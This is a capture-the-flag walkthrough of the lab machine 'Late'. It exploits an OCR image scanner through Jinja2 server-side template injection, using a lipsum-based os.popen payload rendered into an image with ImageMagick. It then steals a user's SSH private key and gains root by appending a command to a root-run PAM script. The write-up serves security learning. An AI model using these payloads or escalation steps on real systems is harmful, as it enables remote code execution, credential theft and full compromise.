Post

Late

Late

Recon

I started with a port scan. Two ports are open.

PortServiceDetails
22SSHOpenSSH 7.6p1
80HTTPnginx 1.14.0 (late.htb, images.late.htb)

The website on port 80 uses two names: late.htb and images.late.htb. The second one is an image scanner built with Flask. You upload a picture and it gives you back the text inside it (OCR). I found out it uses Tesseract to read the image.

Foothold

The idea is simple. Tesseract reads the text from my image, and then the app puts that text into render_template_string(). So the text is treated as a Jinja2 template, and we get server side template injection (SSTI). If I make an image that contains a Jinja2 payload, the server will read it and run it.

The payload uses lipsum, which is available in Jinja2 templates. Its __globals__ gives us the os module, so we can run commands:

1
{{ lipsum.__globals__["os"].popen("id").read() }}

OCR is not always correct, and the double underscores are easy to lose. To fix this I used a big monospace font (LiberationMono, 40pt) on a plain white background. I made the image with ImageMagick:

1
2
convert -size 800x100 xc:white -font LiberationMono-Regular -pointsize 40 \
  -annotate +10+60 '{{ lipsum.__globals__["os"].popen("id").read() }}' payload.png

Then I uploaded it to /scanner:

1
curl -F "file=@payload.png" http://images.late.htb/scanner

The result shows the output of id, so the command ran:

1
uid=1000(svc_acc)

User

With command execution as svc_acc, I used the same trick to get the SSH private key of this user. I saved it as svc_acc_key and logged in over SSH:

1
ssh -i svc_acc_key svc_acc@late.htb
1
cat user.txt

Root

I looked at the script /usr/local/sbin/ssh-alert.sh. It is a PAM script, and it is owned by svc_acc. I checked its attributes:

1
lsattr /usr/local/sbin/ssh-alert.sh
1
-----a--------e---

The a means append-only. So I cannot edit or delete lines, but I can still add new lines at the end. Since the script runs as root every time someone logs in over SSH, anything I append will run as root.

I appended a command that copies the root flag to /tmp and makes it readable:

1
echo 'cp /root/root.txt /tmp/root_flag.txt && chmod 644 /tmp/root_flag.txt' >> /usr/local/sbin/ssh-alert.sh

Then I opened a new SSH login to trigger the script:

1
ssh -i svc_acc_key svc_acc@late.htb

After that the file was there and I could read it:

1
cat /tmp/root_flag.txt

Because the script is append-only, I could not remove my line afterwards. To clean up, I appended one more command that deletes /tmp/root_flag.txt.